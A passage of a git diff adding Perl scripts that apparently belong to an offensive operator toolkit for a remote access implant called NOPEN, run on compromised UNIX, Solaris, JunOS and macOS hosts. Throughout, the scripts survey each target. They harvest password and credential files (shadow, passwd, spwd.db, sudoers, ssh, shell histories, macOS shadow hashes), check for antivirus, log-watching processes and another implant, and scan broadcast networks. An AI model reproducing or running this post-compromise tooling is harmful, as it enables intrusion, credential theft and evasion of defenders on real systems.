($linuxtarget) { + logdoit( + "lspci -vvvv", + "lsusb", +# "more /proc/iomem /proc/pci /proc/ioports /proc/bus/usb/devices /proc/scsi/scsi /proc/meminfo /proc/cpuinfo /proc/version", + "more /proc/iomem /proc/pci /proc/ioports /proc/scsi/scsi /proc/meminfo /proc/cpuinfo /proc/version", + ); + + } elsif ($freebsdtarget) { + logdoit( + "df -k", + ); + } + close(CMDOUT); + + + my ($allprocs,undef,@allprocs) = doit("=ps"); + my @uidlines = grep /root\s.*ps\s/ , @allprocs; + my $uid = -1; + while (1) { + if (@uidlines == 1) { + $uid = 0 if ($uidlines[0] =~ /root\s.*ps\s/); + last; + } else { + last if $uid == 1; + progprint($COLOR_FAILURE."\n\n\n\a". + "This is odd: We have either NO ps lines or MORE THAN ONE:\n\n". + join("\n",@uidlines)."\n\nTrying again...."); + # Try =ps again just to be sure + $uid = 1; + ($allprocs,undef,@allprocs) = doit("=ps"); + @uidlines = grep /root\s.*ps\s/ , @allprocs; + next; + } + } + # This stuff only do if we are root + if ($uid == 0) { + if ($solaristarget) { + my @pfilepids = (); + + my (undef,undef,@inodeoutput) = doit("-ls -di /proc/*/fd/*"); + my ($openfilesoutput,$badprocs) = (); + my @checklogfiles = ("/var/adm/messages","/var/log/syslog"); + foreach my $logfile (@checklogfiles) { + my ($inode) = doit("-ls -i $logfile"); + ($inode) = $inode =~ /^\s*(\d+)\s/; + + + if (my @greppedinodeoutput = grep /^\s*$inode\s/ , @inodeoutput) { + + my @pids = (); + foreach (@greppedinodeoutput) { + push (@pids,$1) if (m,proc/(\d+)/, and $1 > 1); + } + @pfilepids = uniqify_array(@pids,@pfilepids); + my $pids = join("|",@pids); + next unless $pids; + my ($logprocs,undef,@logprocs) = doit("=ps | egrep \" ($pids) \""); + $openfilesoutput .= $COLOR_NOTE. + "\n=============================================================\n". + $COLOR_NORMAL. + "NOTE: These /proc/ entries:\n\n". + join(" \n",@greppedinodeoutput)."\n\n". + "indicate that these processes have $logfile open:\n\n". + $logprocs; + $badprocs++ if (grep ! /(syslog|syslogd)$/ , @logprocs); + } + } + doit("pfiles @pfilepids"); + if ($openfilesoutput) { + progprint($openfilesoutput."\n\n". + "See above for output from \"pfiles @pfilepids\".". + ""); + if ($badprocs) { + if ($nopromptsplease) { + progprint ($COLOR_FAILURE."\n\n". + "NOTE: There is a process other than syslog or syslogd that has one\n". + "of these files open, SEE ABOVE then continue autonewdone:\n\n ". + join("\n ",@checklogfiles)."\n\n". + "PAUSING 5 SECONDS ONLY NO PROMPT...". + ""); + sleep 5; + } else { + mygetinput ($COLOR_FAILURE."\n\n". + "NOTE: There is a process other than syslog or syslogd that has one\n". + "of these files open, SEE ABOVE then continue autonewdone:\n\n ". + join("\n ",@checklogfiles)."\n\n". + "Hit Return to continue...". + ""); + } + } else { + sleep 5; + } + } + } elsif ($linuxtarget) { + } + # For this /proc/*/maps we look everywhere, process it where it exists + my ($mapsoutput,$mapsoutputfile) = doitwrite("ARRAY","more /proc/[0-9]*/maps"); + my @mapsoutput = readfile("ARRAY",$mapsoutputfile); + if (@mapsoutput > 3) { + my ($gdmoutput,undef,@gdmoutput) = doit("-ls /tmp/.gdm-*"); + my @mapsbadhits = grep m,libc[sm][12].so, , @mapsoutput; + if (@mapsbadhits) { + my $gdmmore = $gdmoutput ? "$COLOR_FAILURE AND THESE ARE LIKELY RELATED ALSO:$COLOR_NORMAL\n\n ". + join("\n ",@gdmoutput)."\n\n" : "" ; + offerabort($COLOR_FAILURE."\n\n WARNING: $COLOR_NOTE SIG04$COLOR_FAILURE HITS IN /proc/*/maps\n\n$COLOR_NORMAL". + `ls -al $mapsoutputfile`."\n\n". + $gdmmore. + "ALERT: The output in the above local file matches the alert string:\n". + " /libc[sm][12].so/\n\n". + "You can likely CONTINUE but should take note of this and\n". + "perhaps also alert others about it. File above just popped up, FYI. Search for hits with:\n\n". + " /libc[sm][12].so\n". + " ?:::::\n". + " ?.proc.*". + "\n", + "CONTINUE"); + filepopup($mapsoutputfile,"-bg white -fg red -geometry 152x48"); + + } + } else { + unlink($mapsoutputfile); + } + } + + if (-f "$opetc/gs.autodothis.$nopen_rhostname") { + `dos2unix $opetc/gs.autodothis.$nopen_rhostname 2>&1`; + doit("-gs autodothis.$nopen_rhostname"); + } + + + tickleifneedbe($builtinsonly); + + # Run the old gs.idscript stuff in here. + preservefile("$opdown/script.ids$nopen_rhostname"); + open(CMDOUT,">$opdown/script.ids$nopen_rhostname"); + logdoit + ( + "-ls /bin /usr /usr/sbin /usr/local", + ); + if($darwintarget) { + logdoit("-ls /private/etc", + "sw_vers", + ); + } else { + logdoit("-ls /etc /usr/local/etc"); + } + logdoit( + "-ls /var/yp", + "-ls /etc/bind* /etc/named* /etc/*ndc* /usr/local/etc/named*", + "-ls /var/named* /var/run/named*", + ); + close(CMDOUT); + + my $morehost = ""; + unless ($optargetcommands =~ /$nopen_rhostname/) { + $morehost = "*$nopen_rhostname"; + } + `more $optargetcommands/ps$morehost* >> $opdown/script.ids$nopen_rhostname`; + `more $optargetcommands/netstat$morehost* >> $opdown/script.ids$nopen_rhostname`; + `more $optargetcommands/df$morehost* >> $opdown/script.ids$nopen_rhostname`; + + unless ($builtinsonly) { + preservefile("$opdown/iptables.$nopen_rhostname", + "$opdown/dmesg.$nopen_rhostname", + "$opdown/ipfstat.$nopen_rhostname", + "$opdown/modinfo.$nopen_rhostname", + "$opdown/lsmod.$nopen_rhostname", + "$opdown/selinux.$nopen_rhostname", + ); + + my (undef,$dmesgfile) = doitwrite("ARRAY","dmesg;echo", + ); + doit( + "egrep -i \"memory|mem = \" /var/log/messages /var/adm/messages /var/log/syslog /var/adm/syslog 2>/dev/null | tail -30 >> T:$dmesgfile", + ); + + if ($solaristarget) { + my ($results,$testfile) = + logdoit("modinfo"); + logdoit("ipfstat -ionv") + if ($results =~ /ipf/); # CONDITIONAL, only does ipfstat if ipf appears in modinfo + } elsif ($freebsdtarget) { + logdoit( + "kldstat", + "sysctl -a ; echo", + ); + } elsif ($linuxtarget) { + #logdoit( + # "sysctl -a ; echo", + # ) + # unless ($linuxkernel =~ /^3\.2/); + logdoit("lsmod"); + mypydo(0,"autoiptableslist", "-l"); + + # modules to look for + my %modulestrings = ("kav","Kaspersky Anti-Virus"); + foreach my $modulekey (sort keys %modulestrings) { + if ($results =~ /$key/) { + # TODO: Add logic like pscheck here to popup with alerts + } + } + + + nopenlss("-G${nopenlssreget}YUFM150000","/etc/selinux/config"); + `grep -v "^\#" $opdown/$nopen_rhostname/etc/selinux/config > $optargetcommands/${nopen_rhostname}_selinux 2>/dev/null`; + unlink("$optargetcommands/${nopen_rhostname}_selinux") + unless -s("$optargetcommands/${nopen_rhostname}_selinux"); + + #chomp($test = `grep "SELINUX=enforcing" $opdown/selinux.$nopen_rhostname 2>/dev/null`); + #chomp($test = `grep "SELINUX=permissive" $opdown/selinux.$nopen_rhostname 2>/dev/null`); + # TODO: Pop this up as warning if its there??? not + } + + unlink("$opdown/iptables.$nopen_rhostname") + unless (-s "$opdown/iptables.$nopen_rhostname"); + `grep "lsmod.*no such " $opdown/iptables.$nopen_rhostname && /bin/rm $opdown/iptables.$nopen_rhostname`; + `grep "lsmod.*not found" $opdown/iptables.$nopen_rhostname && /bin/rm $opdown/iptables.$nopen_rhostname`; + + unlink("$opdown/ipfstat.$nopen_rhostname") + unless (-s "$opdown/ipfstat.$nopen_rhostname"); + `grep "ipfstat.*no such " $opdown/ipfstat.$nopen_rhostname && /bin/rm $opdown/ipfstat.$nopen_rhostname`; + `grep "ipfstat.*not found" $opdown/ipfstat.$nopen_rhostname && /bin/rm $opdown/ipfstat.$nopen_rhostname`; + } + + tickleifneedbe($builtinsonly); + + # Use replay to add some more to $statsfile + doit( + "-gs replay -Hf $statsfile ps", + "-gs replay -Hf $statsfile df -", + ); + + + + logdoit("hostid","who -r"); + + # Instead of blindly running ssh, check for it first. + ($sshoutput,$nopenlines,@sshoutput) = nopenlss("-UFP","ssh*"); + my $path = ""; + if ($sshoutput[-1]) { + # We got at least one filename. + foreach $filelisting (@sshoutput) { + # Get the path to each ssh binary, then run it inidividually. + # This will let us check the versions of multiple ssh binaries + # on the target, if so installed. + ($path) = grep m, /.*/ssh\S?$, , $filelisting; + $path = $1 if $path =~ /-.*\s(\/.*\/ssh\S?)$/; + doitwrite("$path -V") if $path; + } + } else { + myalert("NOLOGGING","No SSH binaries found, skipping ssh -V command"); + } + + doit("=mkoffset"); + mydo("autocroncheck","-F"); + + @autoargv = (); + push(@autoargv,"-P") if $firstin; + + + mydo("autoarp",@autoargv); + + + # TODO: Add XEN VM* checks here instead of in autoarp + + + # We scan broadcasts, only on initial hops, and only on the 20th every month. + # Force this off via touch /current/tmp/SKIPBCSCANS + # Force this on via touch current/tmp/FORCEBCSCANS + # @currentconns becomes the established sessions from $nopen_myip to our + # current externalIP. + my @currentconns = grep /$gbl_externalIP{"current"}/, + readfile("ARRAY","$optargetcommands/netstat*$nopen_rhostname*"); + @currentconns = grep /$nopen_myip/,@currentconns + if ($nopen_myip and $opdown eq $optargetcommands); + dbg(" +builtinsonly=$builtinsonly= +calledviacommandline=$calledviacommandline= +".`ls -arlt $optmp/*SCANS*`." + +"); + if (!$builtinsonly and @currentconns > 0 and + ! -f "$optmp/SKIPBCSCANS" and + (timestamp("short") =~ /20-/ or -f "$optmp/FORCEBCSCANS")) { + my %scanned = (); + my @ifconfig = readfile("ARRAY", + "$opdown/ifconfig*${nopen_rhostname}*", + ); + @ifconfig = readfile("ARRAY", + "$optargetcommands/ifconfig*${nopen_rhostname}*", + ) + unless (@ifconfig); + doit("w"); + foreach my $line (@ifconfig) { + my ($bc) = $line =~ /broadcast (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + if ($bc and !$scanned{$bc}++) { + doit("-scan xwin $bc","w"); + doit("-scan brpc $bc","w"); + } + } + } + + + doit("-ls -ct /etc > L:$opdown/ls_etc-ct.$nopen_rhostname"); + + $output = doitwrite("uname -a"); + if ($aixtarget) { + logdoit("prtconf",); + $output .= "\n" . logdoit("uname -M",); + } elsif ($solaristarget) { + logdoit( + "echo :::isainfo -bv::: ; isainfo -bv ; echo :::isainfo -kv::: ; isainfo -kv ; echo :::isainfo -nv::: ; isainfo -nv", + "eeprom", + ); + if ($solaristargetversion =~ /^2\.11/) { + my $pkginfo = doitwrite("pkg info kernel"); + # TODO: Set a variable for this, the uname variable no longer useful for kernel level detection in 2.11+. + } elsif ($solaristargetversion =~ /^2\.(8|9|10|11)/) { + logdoit( + "prtconf -pv", + ); + } else { + logdoit( + "prtconf -V", + ); + } + } + newhostvar("host_uname{$nopen_rhostname}",$output) + if ($output) ; + + mydo("autochecklast"); + + # This is worth alerting on: SCALDWED + # Auto -ls, then pull, 384 byte files matching this in /var/tmp: + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-rGYLNOSEND/var/tmp", + "-Um384","-M384","-g/var/tmp/\\.......\$", + "/var/tmp"); + if ($newdoneoutput) { + $newdoneoutput =~ s,\033\[[0-9]+;[0-9]+m,,g; + writefile("$optmp/getscaldwedfile.$$",$newdoneoutput); + nopenlss("-LNOSEND/var/tmp","-rGYl$optmp/getscaldwedfile.$$"); + mydo("autoproblem","-TDEV", + "\n\nThis may be a SCALDWED Monitor file:\n\n". + $newdoneoutput."\n\n". + "It has been pulled and put in the NOSEND directory for this target:\n\n". + `find $opdown/NOSEND/$nopen_rhostname/var/tmp -type f -ls`); + my ($ans) = mygetinput + ( + "\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .".$COLOR_NORMAL. + "\n\n\n$COLOR_FAILURE ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT\n". + "$COLOR_NORMAL\n\n". + "This may be a SCALDWED Monitor file:\n\n". + $newdoneoutput."\n\n". + "It has been pulled and put in the NOSEND directory for this target:\n\n". + `find $opdown/NOSEND/$nopen_rhostname/var/tmp -type f -ls`. + "\n\n\nFurther, the problem has already been logged here, no need to do anything else:\n\n". + `ls -arlt $opdown/DEV-problems.log`. + "\n\n\n$COLOR_FAILURE ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT\n". + "$COLOR_NORMAL\n\n". + "\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .". +# "Paste the content between and including the ALERT lines above into your\n". +# "opnotes.\n\n". + "Hit return to continue with autonewdone.". + ""); + } + + # Run this only on suitable targets. + if ($linuxtarget or $solaristarget or $freebsdtarget) { + mydo("autogetnewsuc"); + } + + tickleifneedbe($builtinsonly); + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone","DONE",$thismonth,$today); + + doit("-lsh rm -f $opetc/nopen_auto.$nopen_mypid"); + myalert("NOLOGGING","DONE running $opetc/autonewdone on $nopen_rhostname"); + + doit("-lsh [ -f /current/tmp/$nopen_mypid.namefix ] && source /current/tmp/$nopen_mypid.namefix ; date -u ; $opetc/gethostinfo.pl | grep -v \"^Malformed UTF-8\" | tee $opdown/hostinfo.$nopen_rhostname ; echo -e \"${COLOR_FAILURE}Use \\\"-hostinfo\\\" to see hostinfo pop-up window${COLOR_NORMAL}\"", + ) unless $autonohostinfo; + + ($output) = doit("-w"); + unless ($builtinsonly) { + ($output) = doitwrite("w"); + } + filepopup("$opdown/ps.$nopen_rhostname", + "-geometry 183x72-101-0 -title \"autonewdone ps.$nopen_rhostname\"" + ) unless ($autoforce or $today or $thismonth); + + if ($output) { + newhostvar("host_wuptime{$nopen_rhostname}",$output); + if (open(WOUT,">$optargetcommands/${nopen_rhostname}_wuptime")) { + print WOUT $output; + close(WOUT); + } + } + return 1; +} + +sub logdoit { + my $returnoutput = ""; + foreach my $line (@_) { + my ($logoutput,$lognopenlines,@logoutput) = (); + if ($line =~ m,^\-,) { + ($logoutput,$lognopenlines,@logoutput) = doit($line); + } else { + ($logoutput,$lognopenlines,@logoutput) = doitwrite($line); + } + $returnoutput .= $logoutput; + print CMDOUT $lognopenlines; + print CMDOUT $logoutput; + } + return $returnoutput; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # We define out hackdirs here. + @hackdirs = ("/usr/lib/libX.a/bin","/usr/share/.aPa","/usr/share/.aPa/bin"); + + # This is a fresh instance; previous failed newdones may have + # issued warnings we are about to repeat, so just dump them. + unlink("$opdir/latewarnings.$nopen_rhostname"); + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ($redo,$thismonth,$today,$thismonthfiles,$todayfiles) = + whendo("autonewdone"); +dbg("BACK IN autonewdone, just called whendo: + +ARGS=(@ARGS) after whendo(@_) with + finished=$finished= + yearmonstr=$yearmonstr= + todaystr=$todaystr= + autoforce=$autoforce= + autoyes=$autoyes= + autoreget=$autoreget= + nopenlssreget=$nopenlssreget= + autoshort=$autoshort= +autonohostinfo=$autonohostinfo= + +RETURN: redo=$redo, + thismonth=$thismonth, + today=$today, +thismonthfiles=$thismonthfiles, + todayfiles=$todayfiles, + +"); + +}#myinit + diff --git a/Linux/etc/autonewdone.dirlist b/Linux/etc/autonewdone.dirlist new file mode 100755 index 0000000..95cb78c --- /dev/null +++ b/Linux/etc/autonewdone.dirlist @@ -0,0 +1,86 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the dir listings +# that need to be performed when first connecting to a UNIX target. +# +$VER="3.0.0.2"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub dodirlist() { + doit("-ls -ct /etc > L:$opdown/ls_etc-ct.$nopen_rhostname"); + if (open(ETCDIR,"< $opdown/ls_etc-ct.$nopen_rhostname")) { + my ($mon,$d,$h,$m,$year); + while (chomp($line = )) { + $line =~ s/\r//g ; # Get rid of ^M's + #dbg("in autonewdone dodirlist, line=$line="); + next unless (($mon,$d,$h,$m,,$year) = $line =~ + /(\S{3})\s+(\d+)\s+(\d+):(\d+) (\d+) \//) ; + $d += 100; + $d = substr($d,1); + print HOSTINFO "OS Installation Time: $year-$mons{$mon}-$d $h:$m:00\n"; + last; + } + close(ETCDIR); + } + else { + myalert("Can't open $opdown/ls_etc-ct.$nopen_rhostname! $!"); + } + + open(CMDOUT,">$opdown/script.ids$nopen_rhostname"); + logdoit("-ls /bin /usr /usr/sbin /usr/local"); + logdoit("-ls /var/yp", + "-ls /etc/bind* /etc/named* /etc/*ndc* /usr/local/etc/named*", + "-ls /var/named* /var/log/named* /var/run/named*", + ); + + if ($solaristarget) { + logdoit("-ls -R /var/crash"); + + } elsif($darwintarget) { + logdoit("-ls /private/etc"); + + } else { + logdoit("-ls /etc /usr/local/etc"); + } + + close(CMDOUT); + return 1; +} + +dodirlist (); + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.dirlist @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.dirlist"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit \ No newline at end of file diff --git a/Linux/etc/autonewdone.fileget b/Linux/etc/autonewdone.fileget new file mode 100755 index 0000000..ac30f17 --- /dev/null +++ b/Linux/etc/autonewdone.fileget @@ -0,0 +1,238 @@ +#!/usr/bin/env perl +# +# 20130416 - This portion of autonewdone implements all of the file gets +# that need to be performed when first connecting to a UNIX target. +# +$VER="3.0.0.1"; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; + +sub dofileget() { + # Symantec Critical System Protection (SCSP) + # On Windows/AIX/Linux/Solaris + # cxs: Config Exploit Scanner (see also autopscheck) + # lfd: linux firewall daemon + # csf: ConfigServer firewall + # + # NOTE: Other collects in autonewdone done this way with a recursive + # listing of /etc/ will reuse this listing, saving a bit of target time. + # But be sure you use "/etc/" and not "/etc", which will be re-listed. + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime(); + $year += 1900 unless $year > 1900; + # $mon is zero based, $mon-1 is 60 days worth + my $xmtime = sprintf("%02d-%02d-%02d",$mon-2,$mday,$year); + nopenlss("-RG${nopenlssreget}YUFM102400", + "-btail", + "-gsisips,,grub.conf,,lfd,,csf,,cxs,,hostname,,nsswitch.conf,,hosts", + #"-gsisips,,grub.conf,,lfd,,csf,,cxs,,hostname,,nsswitch.conf,,hosts,,motd,,syslog.*conf,,inetd.conf,,resolv.conf", + "-xm",$xmtime, + "/etc", + "/private/etc", # MacOS + "/var/log", + "/var/adm", + ); + doit("-lsh grep -v \\\"^#\\\" $opdown/$nopen_rhostname/etc/syslog.conf > L:$optmp/.syslog.$nopen_rhostname"); + + tickleifneedbe($builtinsonly); + + # More gets, grepping same listing returned in above (no -U here, so not re-listed) + nopenlss("-RG${nopenlssreget}YFM102400", + "-btail", + "-gshadow,,passwd,,hosts,,motd,,syslog.*conf,,inetd.conf,,resolv,conf,,selinux/config,,release,,redhat,,debian,,issue,,slack.*version,,spwd.db,,sudoers,,/ssh,,lfd.log,,security/audit_control", + "/etc", + "/private/etc", # MacOS + "/var/log", + "/var/adm", + ); + + nopenlss("-RG${nopenlssreget}YFM307200", + "-ghttpd.conf", + "/usr/local/apache/conf", + "/etc/apache/conf", + ); + + tickleifneedbe($builtinsonly); + + nopenlss("-RG${nopenlssreget}YFM102400", + "-btail", + "-gsulog", + "/var/log", + "/var/adm", + ); + + nopenlss("-G${nopenlssreget}YUFM102400", + "/usr/local/cpanel/version", + "/.*history", + "/root/.*history", + "/export/.*history*", + ); + + # Check for and alert on the use of certain filesystem debugging tools. + ($output) = doit("egrep \"(fsdb|debugfs|scrub|dd)\" /.*history /root/.*history /export/.*history*"); + if ($output) { + mymywarn("Potential bad activity found in command histories!\n\n$output\n\n"); + } + + # MALDETECT: running as lmd or maldet + ($output) = doit("-ls -d /usr/local/maldetect* /usr/local/maldetect/VERSION*"); + ($output) = doit("-ls -d /opt/maldetect* /opt/maldetect/VERSION*") unless $output; + if ($output) { + nopenlss("-RG${nopenlssreget}YUFM102400", + "-gignore,,conf,,event_log,,VERSION", + "/usr/local/maldetect*", + "/opt/maldetect*", + ); + } + + tickleifneedbe($builtinsonly); + + if ($solaristarget) { + # Solaris-specific. + nopenlss("-RG${nopenlssreget}YFM102400", + "-btail", + "-g/etc/ipf,,/etc/*/ipf,,/etc/zones,,/etc/system,,/etc/logadm.conf", + "/etc", + "/private/etc", # this is here so that nopenlss() reuses the previous dirlisting + "/var/log", + "/var/adm", + ); + + # Open the autodothis file here. + open(CMDOUT,">$statsfile"); + my $justgot = `cd $opdown/$nopen_rhostname ; ls -alrtR etc/system* etc/logadm.conf* etc/ipf* etc/zones* 2>/dev/null`; + print CMDOUT "\n\nJust downloaded the following:\n\n$justgot\n" + if ($justgot); + close(CMDOUT); + + } elsif ($linuxtarget) { + nopenlss("-G${nopenlssreget}YUFM150000","/etc/selinux/config"); + `grep -v "^\#" $opdown/$nopen_rhostname/etc/selinux/config > $optargetcommands/${nopen_rhostname}_selinux 2>/dev/null`; + unlink("$optargetcommands/${nopen_rhostname}_selinux") + unless -s("$optargetcommands/${nopen_rhostname}_selinux"); + + } elsif ($freebsdtarget) { + # FreeBSD-specific. + nopenlss("-G${nopenlssreget}YUFM102400", + "/var/etc/hosts", + ); + } elsif ($junostarget) { + nopenlss("-G${nopenlssreget}YUFM1048576", + "/var/etc/hosts", + "/config/juniper.conf*", + "/var/log/inventory*", + "/usr/libdata/fru.models", + ); + } elsif ($darwintarget) { + # MacOS/Darwin-specific. + nopenlss("-G${nopenlssreget}YUFM102400", + "/Users/*/.*history*", + "/var/root/.*history*", + "/private/var/db/shadow/*", + "/var/db/shadow/*", + ); + } elsif ($hpuxtarget) { + # HP-UX specific. + nopenlss("-G${nopenlssreget}YUFM10240", + "/tcb/files/auth", + ); + } + + # This is worth alerting on: SCALDWED + # Auto -ls, then pull, 384 byte files matching this in /var/tmp: + if ($solaristarget or $linuxtarget or $junostarget) { + ($newdoneoutput,$nopenlines,@newdoneoutput) = + nopenlss("-rGYLNOSEND/var/tmp", + "-Um384", + "-M384", + "-g/var/tmp/\\.......\$", + "/var/tmp"); + if ($newdoneoutput) { + $newdoneoutput =~ s,\033\[[0-9]+;[0-9]+m,,g; + writefile("$optmp/getscaldwedfile.$$",$newdoneoutput); + nopenlss("-LNOSEND/var/tmp","-rGYl$optmp/getscaldwedfile.$$"); + mydo("autoproblem","-TDEV", + "\n\nThis may be a SCALDWED Monitor file:\n\n". + $newdoneoutput."\n\n". + "It has been pulled and put in the NOSEND directory for this target:\n\n". + `find $opdown/NOSEND/$nopen_rhostname/var/tmp -type f -ls`); + my ($ans) = mygetinput + ( + "\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .".$COLOR_NORMAL. + "\n\n\n$COLOR_FAILURE ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT\n". + "$COLOR_NORMAL\n\n". + "This may be a SCALDWED Monitor file:\n\n". + $newdoneoutput."\n\n". + "It has been pulled and put in the NOSEND directory for this target:\n\n". + `find $opdown/NOSEND/$nopen_rhostname/var/tmp -type f -ls`. + "\n\n\nFurther, the problem has already been logged here, no need to do anything else:\n\n". + `ls -arlt $opdown/DEV-problems.log`. + "\n\n\n$COLOR_FAILURE ALERT ALERT ALERT ALERT ALERT ALERT ALERT ALERT\n". + "$COLOR_NORMAL\n\n". + "\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .\n .". + "Hit return to continue with autonewdone.". + ""); + } + } + + # Run this only on suitable targets. + if ($linuxtarget or $solaristarget or $freebsdtarget) { + mydo("autogetnewsuc"); + } + + return 1; +} + +dofileget (); + +sub mymywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $COLOR_FAILURE unless $color2 ; + + progprint($what,$color,$color2,$what2); + sleep 5; + $printlater .= $what; + $badcontent++ unless $what =~ /unable to sort by /i ; + if ($autodone) { + open(MYOUT,">> $opdir/latewarnings.$nopen_rhostname") || return ; + print MYOUT "$what\n" ; + close MYOUT; + } else { + dbg("NOT Logging to latewarnings in mymywarn(@_)"); + } +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs newdone.fileget @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs newdone.fileget"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + + # Setting $autodone allows any mydo() called functions to know + # we are in this mode to populate $opdir/latewarnings* + $autodone=1; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit \ No newline at end of file diff --git a/Linux/etc/autonewdone.junos b/Linux/etc/autonewdone.junos new file mode 100755 index 0000000..7609d05 --- /dev/null +++ b/Linux/etc/autonewdone.junos @@ -0,0 +1,227 @@ +#!/usr/bin/env perl +# +# 20100428 - This version of autonewdone is specific to the JUNOS +# targets. It runs a lot less stuff than the mainline autonewdone +# and uses a LOT less branching logic. +# +$VER="2.0.2.10" ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. + +$| = 1; +myinit() ; +# promptkill puts itself into /usr/local/bin if none or an older one is there +# so this makes sure /usr/local/bin is current even if promptkill does not get +# used this op +`$opbin/promptkill -v` if (-x "$opbin/promptkill"); + +# following is first time autonext is used without $$ extension--fewer collisions? +# In case this is there from previous run, we save it as .NNNN +preservefile("$opdown/hostinfo.$nopen_rhostname") unless $autonohostinfo; + +my @autoargv = (); +if ((-e "$optmp/autonewdone.$nopen_rhostname" or -e "$optmp/autodont") and + (!$redo and !$autonohostinfo)) { + myalert("autonewdone has already completed on this target. Use -gs auto FORCE to re-do it."); +} else { + dosurvey(); +} + +# End with true value as we require this script elsewhere. +1; + +sub dosurvey { + my @choices = ("Y","N"); + my $mdefault = "N"; + + # Set these files aside as .old if they exist + preservefile ("$opdown/rpcinfo.$nopen_rhostname", + "$opdown/dmesg.$nopen_rhostname", + "$opdown/ls_etc-ct.$nopen_rhostname", + ); + + # Are we on a first hop? + ($output,$nopenlines,@firsthops) = doit("-lsh didthis | grep noclient | grepip"); + my $firstin = 0; + foreach my $ip (@firsthops) { + $firstin++ if $ip eq $nopen_myip; + last if $firstin; + } + + myalert("NOLOGGING","BEGIN running $opetc/autonewdone on $nopen_rhostname output in $nopen_mylog (v.$VER)"); + system("touch $optmp/autonewdone.INPROGRESS.$targetpid"); + + # Write out the nopen_auto.$nopen_mypid file that yells if we didn't finish a run. + open(YELLPROMPT, "> $optmp/.gsyell.$nopen_rhostname.$nopen_mypid") or myalert("Can't create warning text! $!"); + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n". + "This should not happen. Please report this now\n". + "(yes, now...in person...go....shoo!).\n\n". + "You can hit return here to get your window back, though.\n\n"; + print YELLPROMPT "${COLOR_FAILURE}\n". + "WARNING: AUTONEWDONE IS NOT FINISHED! WARN SOMEONE!${COLOR_NORMAL}\n\n\n"; + close(YELLPROMPT); + open(GSYELL, "> $opetc/nopen_auto.$nopen_mypid") or myalert("Can't create warning script! $!"); + print GSYELL "#NOGS\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.out.$nopen_mypid\n"; + print GSYELL "-lsh -nohist test -f $optmp/autonewdone.$nopen_rhostname || ". + "$opetc/autogetinput -O $optmp/.gsyell.out.$nopen_mypid -P $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/.gsyell.$nopen_rhostname.$nopen_mypid\n"; + print GSYELL "-lsh -nohist rm -f $optmp/autonewdone.INPROGRESS.$targetpid\n"; + close(GSYELL); + + # Begin running the actual autonewdone commands. + doit("-lsh date -u"); + mydo("autodoproject",@autoargv); + doit("\\hostname", + "-cat /etc/hostname*", + "grep -v \\\"^#\\\" /etc/syslog.conf >> T:$optmp/.syslog.$nopen_rhostname", + "-ls -n /bin/ps /usr/bin/netstat", + "-ls 